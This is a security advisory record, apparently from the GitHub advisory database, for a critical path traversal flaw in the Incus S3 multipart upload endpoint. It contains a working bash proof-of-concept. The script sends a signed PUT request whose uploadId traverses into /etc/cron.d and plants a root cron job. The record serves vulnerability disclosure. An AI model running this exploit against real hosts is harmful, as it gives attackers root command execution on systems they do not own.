{"id":"GHSA-ccjc-4qc3-jxqc","summary":"Incus has an arbitrary file write via path traversal in S3 multipart upload","details":"## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf 'usage: $0 endpoint bucket access-key secret-key\\n' \u003e&2\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c '$cmd'\n\"\n\nuri_path=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://([^/]+).*#\\1#')\"\nqs=\"partNumber=$part&uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf '%s' \"$body\" | sha256sum | awk '{print $1}')\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf '%s' \"$canonical\" | sha256sum | awk '{print $1}')\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf '%s' \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf 'AWS4%s' \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf '# body:\\n%s' \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.","aliases":["CVE-2026-48753","GO-2026-5802"],"modified":"2026-07-07T20:41:25.257425692Z","published":"2026-06-26T18:47:25Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-26T18:47:25Z","nvd_published_at":null,"cwe_ids":["CWE-73"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"affected":[{"package":{"name":"github.com/lxc/incus/v7/cmd/incusd","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-ccjc-4qc3-jxqc/GHSA-ccjc-4qc3-jxqc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}